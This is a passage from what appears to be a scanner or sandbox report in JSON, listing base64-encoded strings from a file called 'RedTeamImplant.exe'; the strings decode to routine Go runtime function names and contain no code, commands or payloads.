Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWtlTGltaXRlckV2ZW50U3RhbXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWtlbWFw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWtlbWFwX3NtYWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWtlUHJvZlN0YWNr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWtlUHJvZlN0YWNrRlA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWtlc2xpY2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWtlc2xpY2Vjb3B5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWtlU3BhbkNsYXNz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWtlU3RhdERlcFNldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWtlVHJhY2VGcmFtZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWtlVHJhY2VGcmFtZXM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWxn","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWxnLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWxsb2NnYw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWxsb2NnY0xhcmdl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWxsb2NnY1NtYWxsTm9zY2Fu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWxsb2NnY1NtYWxsU2NhbkhlYWRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWxsb2NnY1NtYWxsU2Nhbk5vSGVhZGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWxsb2NnY1Rpbnk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYWxsb2Npbml0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXBhY2Nlc3MxX2Zhc3QzMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXBhY2Nlc3MxX2Zhc3Q2NA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXBhY2Nlc3MxX2Zhc3RzdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXBhY2Nlc3My","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXBhY2Nlc3MyX2Zhc3QzMg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXBhY2Nlc3MyX2Zhc3Q2NA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXBhY2Nlc3MyX2Zhc3RzdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXBhc3NpZ24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXBhc3NpZ25fZmFzdDMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXBhc3NpZ25fZmFzdDY0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXBhc3NpZ25fZmFzdDY0cHRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXBhc3NpZ25fZmFzdHN0cg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXBpbml0bm9vcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXJrQml0cy5pc01hcmtlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXJrQml0cy5zZXRNYXJrZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXJrQml0cy5zZXRNYXJrZWROb25BdG9taWM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXJrcm9vdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXJrcm9vdC5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXJrcm9vdEJsb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXJrcm9vdEZyZWVHU3RhY2tz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXJrcm9vdFNwYW5z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tYXhDbGVhbnVwR3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tY2FsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tY29tbW9uaW5pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tY291bnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZGVzdHJveQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1jbHJIYXNQb2ludGVycw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1jbHJOb0hlYXBQb2ludGVycw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1jbHJOb0hlYXBQb2ludGVyc0NodW5rZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1lcXVhbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1lcXVhbDA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1lcXVhbDEyOA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1lcXVhbDE2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1lcXVhbDMy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1lcXVhbDY0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1lcXVhbDg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1lcXVhbF92YXJsZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1oYXNo","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1oYXNoMTI4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1oYXNoMzI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1oYXNoMzJGYWxsYmFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1oYXNoNjQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1oYXNoNjRGYWxsYmFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1oYXNoRmFsbGJhY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZW1tb3Zl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZXJnZVN1bW1hcmllcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZXRyaWNSZWFkZXIuY29tcHV0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZXRyaWNSZWFkZXIuY29tcHV0ZS1mbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZXRyaWNzTG9jaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZXRyaWNzVW5sb2Nr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZXhpdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tZ2V0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5taW5pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5taXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tb2R1bGVkYXRhdmVyaWZ5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tb2R1bGVkYXRhdmVyaWZ5MQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tb2R1bGVzaW5pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tb25pdG9yU3VzcGVuZFJlc3VtZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tb25pdG9yU3VzcGVuZFJlc3VtZS5mdW5jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tb3Jlc3RhY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tb3Jlc3RhY2tfbm9jdHh0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tb3Jlc3RhY2tj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tUGFyaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tUHJvZl9GbHVzaA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tUHJvZl9GbHVzaExvY2tlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tUHJvZl9GcmVl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tUHJvZl9NYWxsb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tUHJvZl9NYWxsb2MuZnVuYzE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tUHJvZl9OZXh0Q3ljbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tUHJvZlN0YWNrSW5pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tcHV0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tcmFuZGluaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tUmVzZXJ2ZUlE","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tc3Bpbm5pbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tc3RhcnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tc3RhcnQw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tc3RhcnQx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tc3RhcnRtMA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tdWludHB0ci5wdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tdXRleFByZWZlckxvd0xhdGVuY3k=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tdXRleFNhbXBsZUNvbnRlbnRpb24=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5tdXRleFdhaXRMaXN0SGVhZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uYW5vdGltZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uYW5vdGltZTE=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZWVkQW5kQmluZE0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZWVkbQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXRwb2xs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXRwb2xsQWRqdXN0V2FpdGVycw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXRwb2xsQW55V2FpdGVycw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXRwb2xsYmxvY2s=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXRwb2xsYmxvY2tjb21taXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXRwb2xsQnJlYWs=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXRwb2xsY2hlY2tlcnI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXRwb2xsR2VuZXJpY0luaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXRwb2xsZ29yZWFkeQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXRwb2xsZ29yZWFkeS5nb3JlYWR5LmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXRwb2xsaW5pdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXRwb2xsaW5pdGVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXRwb2xsb3Blbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXRwb2xsUXVldWVUaW1lcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXRwb2xscmVhZHk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXRwb2xsdW5ibG9jaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXdBbGxvY0JpdHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXdBcmVuYU1heVVubG9jaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXdhcnJheQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXdCdWNrZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXdkZWZlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXdleHRyYW0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXdJbmxpbmVVbndpbmRlcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXdt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXdtMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXdNYXJrQml0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXdvYmplY3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXdvc3Byb2M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$d2","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$d3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXdwcm9j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXdwcm9jLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXdwcm9jMQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXdzdGFjaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXh0RnJlZUZhc3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXh0TWFya0JpdEFyZW5hRXBvY2g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXh0U2FtcGxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uZXh0c2xpY2VjYXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uaWxmdW5j","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uaWxpbnRlcmVxdWFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uaWxpbnRlcmhhc2g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ub3RlY2xlYXI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ub3Rlc2xlZXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ub3RldHNsZWVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ub3RldHNsZWVwX2ludGVybmFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ub3RldHNsZWVwZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5ub3Rld2FrZXVw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5uc1RvU2Vj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5OdW1DZ29DYWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5vZmZBZGRyLmFkZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5vZmZBZGRyLmRpZmY=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5vZmZBZGRyLmVxdWFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5vZmZBZGRyLmxlc3NFcXVhbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5vZmZBZGRyLmxlc3NUaGFu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5vZmZBZGRyVG9MZXZlbEluZGV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS5vbmVOZXdFeHRyYU0=","type":"Ansi","source":"Memory/File 